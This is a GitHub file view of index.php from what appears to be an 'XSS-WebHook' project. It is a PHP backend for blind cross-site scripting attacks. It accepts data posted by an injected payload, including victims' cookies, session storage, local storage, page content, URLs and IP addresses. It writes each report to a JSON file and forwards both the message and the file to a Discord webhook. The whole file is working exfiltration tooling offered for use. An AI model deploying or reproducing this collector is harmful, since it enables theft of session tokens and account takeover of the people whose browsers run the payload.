-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathindex.php
executable file
·197 lines (168 loc) · 5.6 KB
/
index.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
<?php
// include js
require_once('payloads.js');
// Default Setting
date_default_timezone_set('Asia/Tehran');
header("Access-Control-Allow-Origin: " . $_POST["origin"]);
$webhookUrl = "Enter Webhook Url";
// Init Data
$data = [
'ua' => $_POST["ua"] ?? "",
'tu' => $_POST["tu"] ?? "",
'ru' => $_POST["ru"] ?? "",
'rc' => $_POST["rc"] ?? "",
'ss' => $_POST["ss"] ?? "",
'ls' => $_POST["ls"] ?? "",
'fd' => $_POST["fd"] ?? "",
'hs' => $_POST["hs"] ?? "",
'origin' => $_POST['origin'],
'fv' => $_POST['origin'] . "/favicon.ico",
'dt' => date('Y-m-d\TH:i:s.000\Z'),
'fn' => $_POST['hs'] . '-' . time()
];
// send message
if ($data['origin']) {
// Create Base Content
$content = create_content($data);
// Create File
$file = create_file($content, $data['fn']);
// send message to discord
send_message_to_discord($data, $webhookUrl);
// send file to discord
send_file_to_discord($file, $webhookUrl);
}
function send_message_to_discord($data, $WebhookUrl)
{
$ch = curl_init($WebhookUrl);
# Setup request to send json via POST.
$payload = json_encode([
'content' => '',
'embeds' => [
0 => [
'title' => 'XSS Report for ' . $data['hs'],
'url' => $data['origin'],
'color' => 0,
'fields' =>
[
0 => [
'name' => 'IP ADDRESS',
'value' => '```js
Requester : `' . $_SERVER["REMOTE_ADDR"] . '`
Forwarded-For : `' . $_SERVER["HTTP_X_FORWARDED_FOR"] . '`
Referrer : `' . $_SERVER["HTTP_REFERER"] . '` ```',
],
1 => [
'name' => 'USER AGENT',
'value' => '```js
' . $data['ua'] . ' ```',
],
2 => [
'name' => 'TARGET URL',
'value' => '```js
`' . $data['tu'] . '` ```[・click here](' . $data['tu'] . ')',
],
3 => [
'name' => 'REFERRER URL',
'value' => '```js
`' . $data['ru'] . '` ```',
],
4 => [
'name' => 'READABLE COOKIES',
'value' => '```js
`' . $data['rc'] . '` ```',
],
5 => [
'name' => 'SESSION STORAGE',
'value' => '```
' . $data['ss'] . ' ```',
],
6 => [
'name' => 'LOCAL STORAGE',
'value' => '```
' . $data['ls'] . ' ```',
],
7 => [
'name' => 'FILE NAME',
'value' => '```
' . $data['fn'].'.json' . ' ```',
],
],
'author' =>
[
'name' => $data['hs'],
'url' => $data['origin'],
'icon_url' => $data['fv'],
],
'footer' =>
[
'text' => 'Created By @Zi_Gax',
'icon_url' => 'https://avatars.githubusercontent.com/u/67065043?v=4',
]
],
],
'username' => 'Xss',
'avatar_url' => 'https://raw.githubusercontent.com/zi-gax/XSS-WebHook/master/media/xss.png',
'attachments' => [],
]);
curl_setopt($ch, CURLOPT_POSTFIELDS, $payload);
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type:application/json'));
# Return response instead of printing.
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
# Send request.
$result = curl_exec($ch);
curl_close($ch);
}
function create_content($data)
{
return json_encode([
'TITLE' => 'XSS Report for ' . $data['hs'],
'URL' => $data['origin'],
'TARGET URL' => $data['tu'],
'IP ADDRESS' =>
[
'Requester' => $_SERVER["REMOTE_ADDR"],
'Forwarded-For' => $_SERVER["HTTP_X_FORWARDED_FOR"],
'Referrer' => $_SERVER["HTTP_REFERER"],
'USER AGENT' => $data['ua'],
'REFERRER URL' => $data['ru'],
],
'STORAGE' =>
[
'READABLE COOKIES' => $data['rc'],
'SESSION STORAGE' => $data['ss'],
'LOCAL STORAGE' => $data['ls'],
],
'content' => $data['fd'],
'FILE NAME' => $data['fn'] . '.json',
'timestamp' => $data['dt'],
'Created By @Zi_Gax' => 'https://avatars.githubusercontent.com/u/67065043?v=4',
]);
}
function create_file($content, $file_name)
{
$file_path = __DIR__ . '/reports/' . $file_name . '.json';
file_put_contents($file_path, $content);
return $file_path;
}
function send_file_to_discord($file, $webhook_url)
{
// The file you want to upload
$file_path = $file;
// Create a cURL handle
$ch = curl_init();
// Set the cURL options
curl_setopt($ch, CURLOPT_URL, $webhook_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
// Create the file upload data
$file_data = array(
'file' => new CURLFile($file_path)
);
// Set the POST data for the file upload
curl_setopt($ch, CURLOPT_POSTFIELDS, $file_data);
// Execute the cURL request
curl_exec($ch);
// Close the cURL handle
curl_close($ch);
}
?>